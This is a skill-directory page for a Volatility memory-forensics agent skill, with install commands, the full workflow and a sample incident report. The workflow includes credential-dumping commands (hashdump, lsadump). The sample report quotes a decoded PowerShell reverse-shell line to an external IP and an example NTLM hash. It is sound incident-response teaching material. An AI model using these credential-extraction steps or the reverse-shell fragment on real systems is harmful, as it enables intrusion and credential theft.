Agent skill

Analyzing Memory Dumps With Volatility

by mukul975 in mukul975/Anthropic-Cybersecurity-Skills

Analyzes RAM memory dumps from compromised systems using the Volatility framework to identify malicious processes, injected code, network connections, loaded modules, and extracted credentials.

Apache-2.0Auto-check passedSecurity

Install Analyzing Memory Dumps With Volatility

skills CLI
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill analyzing-memory-dumps-with-volatility -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install mukul975/Anthropic-Cybersecurity-Skills analyzing-memory-dumps-with-volatility --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/analyzing-memory-dumps-with-volatility .claude/skills/analyzing-memory-dumps-with-volatility && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
analyzing-memory-dumps-with-volatility
GitHub stars
34k
Token cost
~2.9k tokens
SKILL.md length
645 words
Files
4 (incl. scripts, references)
Skills in repo
644
Repo updated
First seen
Licence
Apache-2.0

At a glance

Analyzes RAM memory dumps from compromised systems using the Volatility framework to identify malicious processes, injected code, network connections, loaded modules, and extracted credentials.

  • Works in 7 steps: Identify the Memory Dump Profile → Enumerate Running Processes → Detect Malicious Code Injection → …
  • Tasks that involve Digital forensics
  • SKILL.md covers When to Use, Prerequisites, Workflow and Key Concepts, plus 3 more sections
  • Runs Python scripts from its folder; calls pip; reaches downloads.volatilityfoundation.org

What it does

Analyzing Memory Dumps With Volatility is an agent skill from mukul975/Anthropic-Cybersecurity-Skills. Analyzes RAM memory dumps from compromised systems using the Volatility framework to identify malicious processes, injected code, network connections, loaded modules, and extracted credentials. Supports Windows, Linux, and macOS memory forensics. Activates for requests involving memory forensics, RAM analysis, volatile data examination, process injection detection, or memory-resident malware investigation.

Its SKILL.md is about 2.9k tokens, which your agent loads only when the skill is triggered. The skill folder holds 5 other files, including scripts and reference files (for example `references/api-reference.md` and `scripts/agent.py`).

It sits in Security, covering Digital forensics. It works with Linux and macOS. The repository describes itself as: 817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io…. The licence is Apache-2.0.

When your agent uses it

  • Tasks that involve Digital forensics

Example prompts

  • “Use the analyzing-memory-dumps-with-volatility skill to analyz RAM memory dumps from compromised systems using the Volatility framework to identify…”
  • “/analyzing-memory-dumps-with-volatility”

Requirements

  • Python 3

Workflow steps

7 steps, taken from the step headings in SKILL.md.

  1. Identify the Memory Dump Profile
  2. Enumerate Running Processes
  3. Detect Malicious Code Injection
  4. Analyze Network Connections
  5. Extract Artifacts and Credentials
  6. Scan Memory with YARA Rules
  7. Timeline and Report Generation

What it can do on your machine

Read from SKILL.md and the folder at commit 54a7988. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    Ships 1 file in scripts/ (Python), which the agent can run.

    Shell commands in SKILL.md call:

    • pip

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    Hosts in commands or code, which the agent is likely to contact:

    • downloads.volatilityfoundation.org

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names no API keys, tokens, secrets or passwords.

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Analyzing Memory Dumps With Volatility loads about 2.9k tokens when it runs, and up to ~3.7k if it reads all its reference files. Until then it costs about 112 tokens; SKILL.md has 645 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~112
When it runs · the whole SKILL.md, loaded when a task matches
~2.9k
With references · SKILL.md plus every file in references/, read only if the agent opens them
~3.7k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check passed

The automated check found no risky patterns in SKILL.md.

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); the scripts in this folder are not scanned.

SKILL.md

The full file from mukul975/Anthropic-Cybersecurity-Skills at commit 54a7988, republished under its Apache-2.0 licence (© mukul975). 645 words, ~2,925 tokens.

Download SKILL.mdSave it as .claude/skills/analyzing-memory-dumps-with-volatility/SKILL.md (or your agent's skills folder). This skill also uses 3 other files; get the full folder from GitHub.
name
analyzing-memory-dumps-with-volatility
description
Analyzes RAM memory dumps from compromised systems using the Volatility framework to identify malicious processes, injected code, network connections, loaded modules, and extracted credentials. Supports Windows, Linux, and macOS memory forensics. Activates for requests involving memory forensics, RAM analysis, volatile data examination, process injection detection, or memory-resident malware investigation.
domain
cybersecurity
subdomain
malware-analysis
tags
malware, memory-forensics, Volatility, RAM-analysis, incident-response
mitre_attack
T1055, T1003, T1059, T1620
version
1.0.0
author
mahipal
license
Apache-2.0
nist_csf
DE.AE-02, RS.AN-03, ID.RA-01, DE.CM-01

Analyzing Memory Dumps with Volatility

When to Use

  • A compromised system's RAM has been captured and needs forensic analysis for malware artifacts
  • Detecting fileless malware that exists only in memory without persistent disk artifacts
  • Extracting encryption keys, passwords, or decrypted configuration from process memory
  • Identifying process injection, DLL injection, or process hollowing in a compromised system
  • Analyzing rootkit activity that hides from standard disk-based forensic tools

Do not use for disk image analysis; use Autopsy, FTK, or Sleuth Kit for disk forensics.

Prerequisites

  • Volatility 3 installed (pip install volatility3) with symbol tables for target OS
  • Memory dump file acquired from the target system (using WinPmem, LiME, or DumpIt)
  • Knowledge of the source OS version for correct profile/symbol selection
  • Sufficient disk space (memory dumps can be 4-64 GB)
  • YARA rules for scanning memory for known malware signatures
  • Strings utility for extracting readable strings from memory regions

Workflow

Step 1: Identify the Memory Dump Profile

Determine the operating system and version from the memory dump:

bash
# Volatility 3: Automatic OS detection
vol3 -f memory.dmp windows.info

# List available plugins
vol3 -f memory.dmp --help

# If symbols are needed, download from:
# https://downloads.volatilityfoundation.org/volatility3/symbols/

# For Volatility 2 (legacy):
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan
Step 2: Enumerate Running Processes

List all processes and identify suspicious entries:

bash
# List all processes
vol3 -f memory.dmp windows.pslist

# Process tree (parent-child relationships)
vol3 -f memory.dmp windows.pstree

# Scan for hidden/unlinked processes (rootkit detection)
vol3 -f memory.dmp windows.psscan

# Compare pslist vs psscan to find hidden processes
# Processes in psscan but not pslist are potentially hidden by rootkits

# Check for process hollowing
vol3 -f memory.dmp windows.pslist --dump
# Then verify the dumped EXE matches the expected binary on disk
Suspicious Process Indicators:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe not spawned by services.exe (wrong parent)
- csrss.exe/lsass.exe with unusual parent process
- Multiple instances of lsass.exe (should be only one)
- Processes with misspelled names (scvhost.exe, lssas.exe)
- cmd.exe or powershell.exe spawned by WINWORD.EXE or browser
- Processes running from unusual paths (%TEMP%, %APPDATA%)
- Processes with no parent (orphaned - parent terminated)
Step 3: Detect Malicious Code Injection

Scan for injected code and process hollowing:

bash
# Detect injected code in processes (malfind)
vol3 -f memory.dmp windows.malfind

# Malfind looks for:
# - Memory regions with PAGE_EXECUTE_READWRITE protection
# - Memory regions containing PE headers (MZ/PE signature)
# - VAD (Virtual Address Descriptor) anomalies

# Dump injected memory regions for analysis
vol3 -f memory.dmp windows.malfind --dump --pid 2184

# List loaded DLLs per process
vol3 -f memory.dmp windows.dlllist --pid 2184

# Detect hollowed processes by comparing mapped image to disk
vol3 -f memory.dmp windows.hollowfind

# Scan for loaded drivers (potential rootkit drivers)
vol3 -f memory.dmp windows.driverscan

# List kernel modules
vol3 -f memory.dmp windows.modules
Step 4: Analyze Network Connections

Extract active and closed network connections:

bash
# List all network connections (active and listening)
vol3 -f memory.dmp windows.netscan

# Output columns: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner

# Filter for established connections to external IPs
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED

# For older Windows (XP/2003):
vol3 -f memory.dmp windows.netstat

# Cross-reference PIDs with process list
# Suspicious: svchost.exe connected to external IP on non-standard port
# Suspicious: notepad.exe or calc.exe with network connections
Step 5: Extract Artifacts and Credentials

Recover sensitive data from memory:

bash
# Dump process memory for a specific PID
vol3 -f memory.dmp windows.memmap --dump --pid 2184

# Extract command-line history
vol3 -f memory.dmp windows.cmdline

# Extract environment variables
vol3 -f memory.dmp windows.envars --pid 2184

# Registry analysis (extract Run keys for persistence)
vol3 -f memory.dmp windows.registry.printkey \
  --key "Software\Microsoft\Windows\CurrentVersion\Run"

# Extract hashed/cached credentials
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump

# Extract clipboard contents
vol3 -f memory.dmp windows.clipboard

# File extraction from memory
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560
Step 6: Scan Memory with YARA Rules

Apply YARA signatures to detect known malware in memory:

bash
# Scan entire memory dump with YARA rules
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar

# Scan specific process memory
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184

# Built-in YARA scan for common patterns
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"

# Scan for encryption key material
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"
Step 7: Timeline and Report Generation

Create an analysis timeline and compile findings:

bash
# Generate comprehensive timeline
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv

# Timeline includes:
# - Process creation/exit times
# - Network connection timestamps
# - Registry modification times
# - File access times

# Export process list for reporting
vol3 -f memory.dmp windows.pslist --output csv > processes.csv

# Export network connections
vol3 -f memory.dmp windows.netscan --output csv > network.csv

Key Concepts

TermDefinition
Memory ForensicsAnalysis of volatile memory (RAM) contents to identify running processes, network connections, and in-memory artifacts that may not exist on disk
Process HollowingMalware technique of creating a legitimate process in suspended state, replacing its memory with malicious code, then resuming execution
MalfindVolatility plugin detecting injected code by identifying memory regions with executable permissions and PE headers in non-image VADs
VAD (Virtual Address Descriptor)Windows kernel structure tracking memory regions allocated to a process; anomalies in VADs indicate injection or hollowing
EPROCESSWindows kernel structure representing a process; rootkits unlink EPROCESS entries to hide processes from standard tools
Pool Tag ScanningMemory forensics technique scanning for kernel object pool tags to find objects (processes, files, connections) even when unlinked
Fileless MalwareMalware that operates entirely in memory without creating files on disk; only detectable through memory forensics
Show full SKILL.md (262 more words)Show less

Tools & Systems

  • Volatility 3: Open-source memory forensics framework supporting Windows, Linux, and macOS memory analysis with plugin architecture
  • WinPmem: Memory acquisition tool for Windows systems that creates raw memory dumps for offline analysis
  • LiME (Linux Memory Extractor): Loadable kernel module for capturing Linux system memory dumps
  • Rekall: Alternative memory forensics framework with some unique analysis capabilities (discontinued but still useful)
  • MemProcFS: Memory process file system allowing mounting memory dumps as file systems for intuitive analysis

Common Scenarios

Scenario: Detecting Fileless Malware After EDR Alert

Context: EDR detected suspicious PowerShell activity but the threat actor cleaned up disk artifacts. A memory dump was captured before the system was rebooted. The analysis needs to identify the malware, its persistence mechanism, and any lateral movement.

Approach:

  1. Run windows.pstree to identify the process chain (which process spawned PowerShell)
  2. Run windows.malfind to detect injected code in running processes
  3. Dump the suspicious process memory and extract strings for C2 URLs
  4. Run windows.netscan to identify network connections from the compromised processes
  5. Run windows.cmdline to see what commands PowerShell executed
  6. Scan with YARA rules for known malware families in the dumped process memory
  7. Extract credentials with hashdump and lsadump to assess lateral movement risk

Pitfalls:

  • Using the wrong symbol tables for the OS version (causes plugin failures or incorrect results)
  • Not comparing pslist vs psscan output (missing rootkit-hidden processes)
  • Ignoring legitimate processes that have been injected into (focus on malfind results, not just process names)
  • Not extracting full process memory before concluding analysis (strings from process dump may reveal additional IOCs)

Output Format

MEMORY FORENSICS ANALYSIS REPORT
===================================
Dump File:        memory.dmp
Dump Size:        16 GB
OS Version:       Windows 10 21H2 (Build 19044)
Capture Tool:     WinPmem 4.0
Capture Time:     2025-09-15 14:35:00 UTC

SUSPICIOUS PROCESSES
PID   PPID  Name              Path                                    Anomaly
2184  1052  svchost.exe       C:\Users\Admin\AppData\Temp\svchost.exe Wrong path
4012  2184  powershell.exe    C:\Windows\System32\powershell.exe      Child of fake svchost
3456  4012  cmd.exe           C:\Windows\System32\cmd.exe             Spawned by PowerShell

CODE INJECTION DETECTED (malfind)
PID 852 (explorer.exe):
  Address: 0x00400000  Size: 98304  Protection: PAGE_EXECUTE_READWRITE
  Header: MZ (embedded PE detected)
  SHA-256 of dump: abc123def456...

NETWORK CONNECTIONS
PID   Process         Local           Foreign              State
2184  svchost.exe     10.1.5.42:49152 185.220.101.42:443   ESTABLISHED
4012  powershell.exe  10.1.5.42:49200 91.215.85.17:8080    ESTABLISHED

EXTRACTED CREDENTIALS
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

COMMAND LINE HISTORY
PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
  Decoded: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)

YARA MATCHES
PID 2184: rule CobaltStrike_Beacon { matched at 0x00401200 }

TIMELINE
14:10:00  svchost.exe (PID 2184) created from C:\Users\Admin\AppData\Temp\
14:10:05  Network connection to 185.220.101.42:443 established
14:12:30  powershell.exe (PID 4012) spawned by svchost.exe
14:15:00  Code injection into explorer.exe (PID 852) detected
14:20:00  Credential dump from LSASS process

© mukul975, Apache-2.0. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

SKILL.md and 3 other files (scripts, references) in skills/analyzing-memory-dumps-with-volatility of mukul975/Anthropic-Cybersecurity-Skills.

  • SKILL.md
  • LICENSE
  • references/api-reference.md
  • scripts/agent.py

Open the folder on GitHubat commit 54a7988

Compare with similar skills

Analyzing Memory Dumps With Volatility next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.

Analyzing Memory Dumps With Volatility compared with similar skills
SkillStarsUsed inTokensAuto-checkLicenceRepo updated
Analyzing Memory Dumps With Volatility this skillmukul975/Anthropic-Cybersecurity-Skills34k—~2.9kAutomated safety check: PassApache-2.0
Forensics OsqueryAgentSecOps/SecOpsAgentKit2201 repos~4.9kAutomated safety check: NotesCustom licence
Re Disk Forensicsdslsdzc/rev-skills130—~1.9kAutomated safety check: PassApache-2.0
Runtime Memory Sample Acquisitiondslsdzc/rev-skills130—~2kAutomated safety check: PassApache-2.0
Game Automationrehan-remade/universal-modder5.8k—~1.9kAutomated safety check: PassMIT
Ctf Cryptoljagiello/ctf-skills3.4k—~11kAutomated safety check: NotesMIT

Similar skills

  • Forensics Osquery

    AgentSecOps/SecOpsAgentKit

    SQL-powered forensic investigation and system interrogation using osquery to query operating systems as relational databases.

    220 GitHub starsUsed in 1 repo~4.9k tokens
    SecurityAuto-check: notes
  • Re Disk Forensics

    dslsdzc/rev-skills

    磁盘/文件系统取证:删除恢复、时间线、可疑文件定位. An agent skill from dslsdzc/rev-skills.

    130 GitHub stars~1.9k tokensUpdated 4 days ago
    SecurityAuto-check passed
  • Captures an analyzable sample from a live system when the target leaves no file on disk, by finding abnormal executable memory and the execution context that reached it.

    130 GitHub stars~2k tokensUpdated 4 days ago
    SecurityAuto-check passed
  • Game Automation

    rehan-remade/universal-modder

    Launch, see and drive a real game so an agent can test its own mods.

    5.8k GitHub stars~1.9k tokensUpdated today
    SecurityAuto-check passed
  • Ctf Crypto

    ljagiello/ctf-skills

    Provides cryptography attack techniques for CTF challenges. An agent skill from ljagiello/ctf-skills.

    3.4k GitHub stars~11k tokensUpdated 25 days ago
    SecurityAuto-check: notes
  • Collects live operating-system inventory (OBOM) and host hardware inventory (HBOM) as CycloneDX documents using the cdxgen obom and hbom commands, including osquery-backed runtime artifacts, Linux…

    1.1k GitHub stars~1.5k tokensUpdated yesterday
    SecurityAuto-check passed

More from mukul975/Anthropic-Cybersecurity-Skills

All 644 skills in this repo
  • Campaign Attribution Evidence Analysis

    mukul975/Anthropic-Cybersecurity-Skills

    Weighs infrastructure, TTP, malware code and timing evidence with the Diamond Model and competing hypotheses to reach a confidence-rated attribution.

    34k GitHub stars~2.3k tokensUpdated 1 mo ago
    Auto-check passed
  • Go Malware Analysis in Ghidra

    mukul975/Anthropic-Cybersecurity-Skills

    Walks through reverse engineering Go-compiled malware in Ghidra: parsing buildinfo and pclntab, recovering stripped function names and extracting dependencies.

    34k GitHub stars~2.8k tokensUpdated 1 mo ago
    Auto-check passed
  • LNK and Jump List Forensics

    mukul975/Anthropic-Cybersecurity-Skills

    Guides forensic analysis of Windows LNK shortcut files and Jump Lists with LECmd, JLECmd and manual parsing to show file access and program execution.

    34k GitHub stars~2.8k tokensUpdated 1 mo ago
    Auto-check passed
  • Malware Persistence Analysis with Autoruns

    mukul975/Anthropic-Cybersecurity-Skills

    Hunts Windows malware persistence with Sysinternals Autoruns, covering run keys, services, scheduled tasks and drivers, with baseline comparison.

    34k GitHub stars~1.2k tokensUpdated 1 mo ago
    Auto-check passed
  • NTFS MFT Deleted File Recovery

    mukul975/Anthropic-Cybersecurity-Skills

    Guides a Windows forensic examination of the NTFS Master File Table to recover deleted-file evidence, build timelines and spot timestomping.

    34k GitHub stars~2.7k tokensUpdated 1 mo ago
    Auto-check passed
  • Network Covert Channel Analysis

    mukul975/Anthropic-Cybersecurity-Skills

    Detects DNS tunneling, ICMP exfiltration and HTTP-based covert channels in packet captures and DNS logs when hunting for hidden command-and-control traffic.

    34k GitHub stars~2k tokensUpdated 1 mo ago
    Auto-check passed

Works with

Categories

Questions about Analyzing Memory Dumps With Volatility

What does Analyzing Memory Dumps With Volatility do?

Analyzes RAM memory dumps from compromised systems using the Volatility framework to identify malicious processes, injected code, network connections, loaded modules, and extracted credentials. Analyzing Memory Dumps With Volatility is an agent skill from mukul975/Anthropic-Cybersecurity-Skills. Analyzes RAM memory dumps from compromised systems using the Volatility framework to identify malicious processes, injected code, network connections, loaded modules, and extracted credentials.

When should I use Analyzing Memory Dumps With Volatility?

Analyzing Memory Dumps With Volatility fits situations like: tasks that involve Digital forensics.

How do I install Analyzing Memory Dumps With Volatility in Claude Code?

Run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill analyzing-memory-dumps-with-volatility -a claude-code`. Or copy the skill folder (skills/analyzing-memory-dumps-with-volatility in mukul975/Anthropic-Cybersecurity-Skills) into .claude/skills/analyzing-memory-dumps-with-volatility in your project. Claude Code loads it when a task matches its description.

How do I install Analyzing Memory Dumps With Volatility in Codex?

Run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill analyzing-memory-dumps-with-volatility -a codex`. Or copy the skill folder (skills/analyzing-memory-dumps-with-volatility in mukul975/Anthropic-Cybersecurity-Skills) into .agents/skills/analyzing-memory-dumps-with-volatility in your project. Codex loads it when a task matches its description.

Can I use Analyzing Memory Dumps With Volatility in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill analyzing-memory-dumps-with-volatility -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/analyzing-memory-dumps-with-volatility, .gemini/skills/analyzing-memory-dumps-with-volatility, .github/skills/analyzing-memory-dumps-with-volatility and .opencode/skills/analyzing-memory-dumps-with-volatility in your project.

What does Analyzing Memory Dumps With Volatility need to run?

Going by SKILL.md and its folder, Analyzing Memory Dumps With Volatility needs Python for the scripts in its folder and the command-line tools its instructions call (pip). Our summary lists: Python 3.

Does Analyzing Memory Dumps With Volatility access the network?

SKILL.md names 1 domain. In commands or code: downloads.volatilityfoundation.org; the agent is likely to contact it when it follows the instructions. This is read from the text; nothing was executed.

Is Analyzing Memory Dumps With Volatility safe to install?

Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. The check reads SKILL.md only: the scripts in the folder are not scanned, so read them before running anything.

What licence does Analyzing Memory Dumps With Volatility use?

Analyzing Memory Dumps With Volatility is published under the Apache-2.0 licence (declared in SKILL.md). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Analyzing Memory Dumps With Volatility use?

About 2.9k tokens (SKILL.md is roughly 12k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full. Its references folder adds about 772 tokens, read only when the agent opens those files.

What are the alternatives to Analyzing Memory Dumps With Volatility?

Skills that share tags, products or a category with Analyzing Memory Dumps With Volatility: Forensics Osquery (AgentSecOps/SecOpsAgentKit, 220 stars), Re Disk Forensics (dslsdzc/rev-skills, 130 stars), Runtime Memory Sample Acquisition (dslsdzc/rev-skills, 130 stars) and Game Automation (rehan-remade/universal-modder, 5.8k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Analyzing Memory Dumps With Volatility?

mukul975 (a GitHub user) maintains it in mukul975/Anthropic-Cybersecurity-Skills, which has 33,993 GitHub stars. The repository holds 644 skills in this directory. The repository was last updated on August 31, 2026.

Source: mukul975/Anthropic-Cybersecurity-Skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.